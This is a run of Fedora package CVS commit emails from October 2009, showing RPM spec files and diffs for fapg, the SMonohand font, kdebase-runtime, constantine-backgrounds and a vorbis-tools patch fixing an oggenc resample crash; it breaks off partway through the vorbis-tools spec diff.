Name:       fapg
Version:    0.41
Release:    2%{?dist}
License:    GPLv2+
Summary:    Fast Audio Playlist Generator
URL:        http://royale.zerezo.com/fapg/
Group:      Applications/Multimedia
Source:     http://royale.zerezo.com/fapg/%{name}-%{version}.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildRequires: uriparser-devel

%description
FAPG means Fast Audio Playlist Generator.
It is a tool to generate list of audio files (Wav, MP3, Ogg, etc)
in various formats (M3U, PLS, HTML, etc).
It is very useful if you have a large amount of audio files 
and you want to quickly and frequently build a playlist.

It is coded in C to be as fast as possible, and does not use 
any specific audio library (like ID3Lib).
This allow you to deploy it faster and easier, and to have 
better performances since the less informations are loaded.
In the other hand, this tool is not (yet) compatible with 
all the known formats.

%prep
%setup -q 

%build
%configure
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
%makeinstall

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%doc AUTHORS ChangeLog COPYING README
%{_bindir}/%{name}
%{_mandir}/man1/%{name}.1*

%changelog
* Fri Oct 02 2008 Paulo Roma <roma at lcg.ufrj.br> 0.41-2
- Fixed license.

* Sat May 17 2008 Paulo Roma <roma at lcg.ufrj.br> 0.41-1
- First spec file.



--- NEW FILE import.log ---
fapg-0_41-2_fc10:F-10:fapg-0.41-2.fc10.src.rpm:1254858281


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fapg/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:42:52 -0000	1.1
+++ .cvsignore	6 Oct 2009 19:45:22 -0000	1.2
@@ -0,0 +1 @@
+fapg-0.41.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fapg/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:42:52 -0000	1.1
+++ sources	6 Oct 2009 19:45:23 -0000	1.2
@@ -0,0 +1 @@
+64be7045dfc0874a831e7d5fb5c435a4  fapg-0.41.tar.gz



From rdieter at fedoraproject.org  Tue Oct  6 19:46:23 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 19:46:23 +0000 (UTC)
Subject: rpms/kdebase-runtime/devel kdebase-runtime.spec,1.144,1.145
Message-ID: <20091006194623.DDF2E11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31383

Modified Files:
	kdebase-runtime.spec 
Log Message:
* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
- BR: bzip2-devel xz-devel
- -libs: move Requires: kdepimlibs... here



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/devel/kdebase-runtime.spec,v
retrieving revision 1.144
retrieving revision 1.145
diff -u -p -r1.144 -r1.145
--- kdebase-runtime.spec	4 Oct 2009 10:17:12 -0000	1.144
+++ kdebase-runtime.spec	6 Oct 2009 19:46:23 -0000	1.145
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       1%{?dist}
+Release:       2%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -34,7 +34,6 @@ Provides:  kdebase4-runtime = %{version}
 Obsoletes: kdebase4-runtime < %{version}-%{release}
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
-Requires: kdepimlibs%{?_isa} >= %{version}
 %ifnarch s390 s390x
 Requires: eject
 %endif
@@ -44,6 +43,7 @@ Requires: htdig
 
 BuildRequires: kde-filesystem
 BuildRequires: alsa-lib-devel
+BuildRequires: bzip2-devel
 BuildRequires: clucene-core-devel
 BuildRequires: hal-devel
 BuildRequires: kdelibs4-devel >= %{version}
@@ -63,6 +63,7 @@ BuildRequires: xine-lib-devel libxcb-dev
 %endif
 BuildRequires: xorg-x11-font-utils
 BuildRequires: xorg-x11-proto-devel
+BuildRequires: xz-devel
 BuildRequires: zlib-devel
 
 %description
@@ -73,6 +74,7 @@ Core runtime for the K Desktop Environme
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: kdelibs4%{?_isa} >= %{version}
+Requires: kdepimlibs%{?_isa} >= %{version}
 Requires: %{name} = %{version}-%{release}
 %description libs
 %{summary}.
@@ -212,6 +214,10 @@ fi
 
 
 %changelog
+* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
+- BR: bzip2-devel xz-devel
+- -libs: move Requires: kdepimlibs... here
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From salimma at fedoraproject.org  Tue Oct  6 19:49:26 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Tue,  6 Oct 2009 19:49:26 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts/EL-4 oflb-smonohand-fonts-fontconfig.conf,
	NONE, 1.1 oflb-smonohand-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091006194926.E6EF011C00C1@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32320/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	oflb-smonohand-fonts-fontconfig.conf oflb-smonohand-fonts.spec 
Log Message:
oflb-smonohand-fonts: initial import



--- NEW FILE oflb-smonohand-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>SMonohand</family>
    </prefer>
  </alias>
  <alias>
    <family>SMonohand</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE oflb-smonohand-fonts.spec ---
%global fontname oflb-smonohand
%global fontconf 64-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        20090423
Release:        2%{?dist}
Summary:        A handwritten monospace font

Group:          User Interface/X
License:        OFL
URL:            http://openfontlibrary.org/media/files/dalles/403
Source0:        http://openfontlibrary.org/people/dalles/dalles_-_SMonohand.ttf
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
SMonohand is a handwritten monospace Latin font with German
characters.


%prep


%build


%install
rm -rf %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p %{SOURCE0} %{buildroot}%{_fontdir}/SMonohand.ttf

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
   %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -rf $RPM_BUILD_ROOT

%_font_pkg -f %{fontconf} *.ttf

#doc


%changelog
* Thu Oct  1 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-2
- Incorporate review feedbacks (bz #526607)

* Wed Sep 30 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-1
- Initial package



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:32:17 -0000	1.1
+++ .cvsignore	6 Oct 2009 19:49:26 -0000	1.2
@@ -0,0 +1 @@
+dalles_-_SMonohand.ttf


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:32:17 -0000	1.1
+++ sources	6 Oct 2009 19:49:26 -0000	1.2
@@ -0,0 +1 @@
+ed57503247413a2ca38cdb12d9477a24  dalles_-_SMonohand.ttf



From salimma at fedoraproject.org  Tue Oct  6 19:49:27 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Tue,  6 Oct 2009 19:49:27 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts/EL-5 oflb-smonohand-fonts-fontconfig.conf,
	NONE, 1.1 oflb-smonohand-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091006194927.2864611C00C1@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32320/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	oflb-smonohand-fonts-fontconfig.conf oflb-smonohand-fonts.spec 
Log Message:
oflb-smonohand-fonts: initial import



--- NEW FILE oflb-smonohand-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>SMonohand</family>
    </prefer>
  </alias>
  <alias>
    <family>SMonohand</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE oflb-smonohand-fonts.spec ---
%global fontname oflb-smonohand
%global fontconf 64-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        20090423
Release:        2%{?dist}
Summary:        A handwritten monospace font

Group:          User Interface/X
License:        OFL
URL:            http://openfontlibrary.org/media/files/dalles/403
Source0:        http://openfontlibrary.org/people/dalles/dalles_-_SMonohand.ttf
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
SMonohand is a handwritten monospace Latin font with German
characters.


%prep


%build


%install
rm -rf %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p %{SOURCE0} %{buildroot}%{_fontdir}/SMonohand.ttf

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
   %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -rf $RPM_BUILD_ROOT

%_font_pkg -f %{fontconf} *.ttf

#doc


%changelog
* Thu Oct  1 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-2
- Incorporate review feedbacks (bz #526607)

* Wed Sep 30 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-1
- Initial package



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:32:17 -0000	1.1
+++ .cvsignore	6 Oct 2009 19:49:26 -0000	1.2
@@ -0,0 +1 @@
+dalles_-_SMonohand.ttf


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:32:17 -0000	1.1
+++ sources	6 Oct 2009 19:49:27 -0000	1.2
@@ -0,0 +1 @@
+ed57503247413a2ca38cdb12d9477a24  dalles_-_SMonohand.ttf



From salimma at fedoraproject.org  Tue Oct  6 19:49:27 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Tue,  6 Oct 2009 19:49:27 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts/F-10 oflb-smonohand-fonts-fontconfig.conf,
	NONE, 1.1 oflb-smonohand-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091006194927.8E2DA11C00C1@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32320/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	oflb-smonohand-fonts-fontconfig.conf oflb-smonohand-fonts.spec 
Log Message:
oflb-smonohand-fonts: initial import



--- NEW FILE oflb-smonohand-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>SMonohand</family>
    </prefer>
  </alias>
  <alias>
    <family>SMonohand</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE oflb-smonohand-fonts.spec ---
%global fontname oflb-smonohand
%global fontconf 64-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        20090423
Release:        2%{?dist}
Summary:        A handwritten monospace font

Group:          User Interface/X
License:        OFL
URL:            http://openfontlibrary.org/media/files/dalles/403
Source0:        http://openfontlibrary.org/people/dalles/dalles_-_SMonohand.ttf
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
SMonohand is a handwritten monospace Latin font with German
characters.


%prep


%build


%install
rm -rf %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p %{SOURCE0} %{buildroot}%{_fontdir}/SMonohand.ttf

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
   %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -rf $RPM_BUILD_ROOT

%_font_pkg -f %{fontconf} *.ttf

#doc


%changelog
* Thu Oct  1 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-2
- Incorporate review feedbacks (bz #526607)

* Wed Sep 30 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-1
- Initial package



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:32:17 -0000	1.1
+++ .cvsignore	6 Oct 2009 19:49:27 -0000	1.2
@@ -0,0 +1 @@
+dalles_-_SMonohand.ttf


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:32:17 -0000	1.1
+++ sources	6 Oct 2009 19:49:27 -0000	1.2
@@ -0,0 +1 @@
+ed57503247413a2ca38cdb12d9477a24  dalles_-_SMonohand.ttf



From salimma at fedoraproject.org  Tue Oct  6 19:49:28 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Tue,  6 Oct 2009 19:49:28 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts/F-11 oflb-smonohand-fonts-fontconfig.conf,
	NONE, 1.1 oflb-smonohand-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091006194928.B3CED11C00C1@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32320/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	oflb-smonohand-fonts-fontconfig.conf oflb-smonohand-fonts.spec 
Log Message:
oflb-smonohand-fonts: initial import



--- NEW FILE oflb-smonohand-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>SMonohand</family>
    </prefer>
  </alias>
  <alias>
    <family>SMonohand</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE oflb-smonohand-fonts.spec ---
%global fontname oflb-smonohand
%global fontconf 64-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        20090423
Release:        2%{?dist}
Summary:        A handwritten monospace font

Group:          User Interface/X
License:        OFL
URL:            http://openfontlibrary.org/media/files/dalles/403
Source0:        http://openfontlibrary.org/people/dalles/dalles_-_SMonohand.ttf
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
SMonohand is a handwritten monospace Latin font with German
characters.


%prep


%build


%install
rm -rf %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p %{SOURCE0} %{buildroot}%{_fontdir}/SMonohand.ttf

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
   %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -rf $RPM_BUILD_ROOT

%_font_pkg -f %{fontconf} *.ttf

#doc


%changelog
* Thu Oct  1 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-2
- Incorporate review feedbacks (bz #526607)

* Wed Sep 30 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-1
- Initial package



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:32:17 -0000	1.1
+++ .cvsignore	6 Oct 2009 19:49:27 -0000	1.2
@@ -0,0 +1 @@
+dalles_-_SMonohand.ttf


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:32:17 -0000	1.1
+++ sources	6 Oct 2009 19:49:28 -0000	1.2
@@ -0,0 +1 @@
+ed57503247413a2ca38cdb12d9477a24  dalles_-_SMonohand.ttf



From salimma at fedoraproject.org  Tue Oct  6 19:49:29 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Tue,  6 Oct 2009 19:49:29 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts/F-12 oflb-smonohand-fonts-fontconfig.conf,
	NONE, 1.1 oflb-smonohand-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091006194929.01DDD11C00C1@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32320/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	oflb-smonohand-fonts-fontconfig.conf oflb-smonohand-fonts.spec 
Log Message:
oflb-smonohand-fonts: initial import



--- NEW FILE oflb-smonohand-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>SMonohand</family>
    </prefer>
  </alias>
  <alias>
    <family>SMonohand</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE oflb-smonohand-fonts.spec ---
%global fontname oflb-smonohand
%global fontconf 64-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        20090423
Release:        2%{?dist}
Summary:        A handwritten monospace font

Group:          User Interface/X
License:        OFL
URL:            http://openfontlibrary.org/media/files/dalles/403
Source0:        http://openfontlibrary.org/people/dalles/dalles_-_SMonohand.ttf
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
SMonohand is a handwritten monospace Latin font with German
characters.


%prep


%build


%install
rm -rf %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p %{SOURCE0} %{buildroot}%{_fontdir}/SMonohand.ttf

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
   %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -rf $RPM_BUILD_ROOT

%_font_pkg -f %{fontconf} *.ttf

#doc


%changelog
* Thu Oct  1 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-2
- Incorporate review feedbacks (bz #526607)

* Wed Sep 30 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-1
- Initial package



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:32:17 -0000	1.1
+++ .cvsignore	6 Oct 2009 19:49:28 -0000	1.2
@@ -0,0 +1 @@
+dalles_-_SMonohand.ttf


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:32:17 -0000	1.1
+++ sources	6 Oct 2009 19:49:28 -0000	1.2
@@ -0,0 +1 @@
+ed57503247413a2ca38cdb12d9477a24  dalles_-_SMonohand.ttf



From salimma at fedoraproject.org  Tue Oct  6 19:49:29 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Tue,  6 Oct 2009 19:49:29 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts/devel
	oflb-smonohand-fonts-fontconfig.conf, 
	NONE, 1.1 oflb-smonohand-fonts.spec, NONE, 1.1
Message-ID: <20091006194929.2FC8D11C00C1@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32320/devel

Added Files:
	oflb-smonohand-fonts-fontconfig.conf oflb-smonohand-fonts.spec 
Log Message:
oflb-smonohand-fonts: initial import



--- NEW FILE oflb-smonohand-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>SMonohand</family>
    </prefer>
  </alias>
  <alias>
    <family>SMonohand</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE oflb-smonohand-fonts.spec ---
%global fontname oflb-smonohand
%global fontconf 64-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        20090423
Release:        2%{?dist}
Summary:        A handwritten monospace font

Group:          User Interface/X
License:        OFL
URL:            http://openfontlibrary.org/media/files/dalles/403
Source0:        http://openfontlibrary.org/people/dalles/dalles_-_SMonohand.ttf
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
SMonohand is a handwritten monospace Latin font with German
characters.


%prep


%build


%install
rm -rf %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p %{SOURCE0} %{buildroot}%{_fontdir}/SMonohand.ttf

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
   %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -rf $RPM_BUILD_ROOT

%_font_pkg -f %{fontconf} *.ttf

#doc


%changelog
* Thu Oct  1 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-2
- Incorporate review feedbacks (bz #526607)

* Wed Sep 30 2009 Michel Salim <salimma at fedoraproject.org> - 20090423-1
- Initial package




From rdieter at fedoraproject.org  Tue Oct  6 19:50:54 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 19:50:54 +0000 (UTC)
Subject: rpms/constantine-backgrounds/devel constantine-backgrounds.spec, 1.7,
	1.8
Message-ID: <20091006195054.7AA5D11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/constantine-backgrounds/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv672

Modified Files:
	constantine-backgrounds.spec 
Log Message:
* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 12.0.0-2
- Provides: system-backgrounds(-kde) for F-12+ (until something else does)



Index: constantine-backgrounds.spec
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-backgrounds/devel/constantine-backgrounds.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- constantine-backgrounds.spec	30 Sep 2009 20:03:57 -0000	1.7
+++ constantine-backgrounds.spec	6 Oct 2009 19:50:53 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           constantine-backgrounds
 Version:        12.0.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Constantine desktop backgrounds
 
 Group:          Applications/Multimedia
@@ -16,7 +16,7 @@ BuildRequires:  inkscape
 BuildRequires:	kde-filesystem
 Requires:       %{name}-single = %{version}-%{release}
 
-%if 0%{?fedora} == 12
+%if 0%{?fedora} >= 12
 Provides: system-backgrounds
 %endif
 
@@ -42,7 +42,7 @@ This package contains aditional desktop 
 Summary:        Constantine Wallpapers for KDE 
 Group:          Applications/Multimedia
 Obsoletes:      constantine-kde-theme <= 11.90.0
-%if 0%{?fedora} == 12
+%if 0%{?fedora} >= 12
 Provides:       system-backgrounds-kde
 %endif
 
@@ -113,6 +113,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 12.0.0-2
+- Provides: system-backgrounds(-kde) for F-12+ (until something else does)
+
 * Wed Sep 30 2009 Martin Sourada <mso at fedoraproject.org> - 12.0.0-1
 - Update default and 4flowers, adds dual screen versions for default
   => split single screen versions into -single subpackage



From kdudka at fedoraproject.org  Tue Oct  6 19:51:53 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Tue,  6 Oct 2009 19:51:53 +0000 (UTC)
Subject: rpms/vorbis-tools/F-12 vorbis-tools-1.2.0-oggenc-resample.patch,
	NONE, 1.1 vorbis-tools.spec, 1.37, 1.38
Message-ID: <20091006195153.9A43511C00C1@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/vorbis-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1015

Modified Files:
	vorbis-tools.spec 
Added Files:
	vorbis-tools-1.2.0-oggenc-resample.patch 
Log Message:
- upstream patch fixing crash of oggenc --resample (#526653)

vorbis-tools-1.2.0-oggenc-resample.patch:
 oggenc.c |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE vorbis-tools-1.2.0-oggenc-resample.patch ---
diff -rup vorbis-tools-1.2.0.orig/oggenc/oggenc.c vorbis-tools-1.2.0/oggenc/oggenc.c
--- vorbis-tools-1.2.0.orig/oggenc/oggenc.c	2008-03-03 06:37:27.000000000 +0100
+++ vorbis-tools-1.2.0/oggenc/oggenc.c	2009-10-06 21:27:09.398047466 +0200
@@ -147,6 +147,7 @@ int main(int argc, char **argv)
         char *artist=NULL, *album=NULL, *title=NULL, *track=NULL;
         char *date=NULL, *genre=NULL;
         input_format *format;
+        int resampled = 0;
 
         /* Set various encoding defaults */
 
@@ -324,6 +325,8 @@ int main(int argc, char **argv)
 
         if(opt.resamplefreq && opt.resamplefreq != enc_opts.rate) {
             int fromrate = enc_opts.rate;
+
+            resampled = 1;
             enc_opts.resamplefreq = opt.resamplefreq;
             if(setup_resample(&enc_opts)) {
                 errors++;
@@ -369,7 +372,7 @@ int main(int argc, char **argv)
             clear_scaler(&enc_opts);
         if(opt.downmix)
             clear_downmix(&enc_opts);
-        if(opt.resamplefreq && opt.resamplefreq != enc_opts.rate)
+        if(resampled)
             clear_resample(&enc_opts);
 clear_all:
 


Index: vorbis-tools.spec
===================================================================
RCS file: /cvs/extras/rpms/vorbis-tools/F-12/vorbis-tools.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- vorbis-tools.spec	27 Jul 2009 06:58:25 -0000	1.37
+++ vorbis-tools.spec	6 Oct 2009 19:51:53 -0000	1.38
@@ -1,13 +1,14 @@
 Summary:	The Vorbis General Audio Compression Codec tools
 Name:		vorbis-tools
 Version:	1.2.0
-Release:	5%{?dist}
+Release:	6%{?dist}
 Epoch:		1
 Group:		Applications/Multimedia
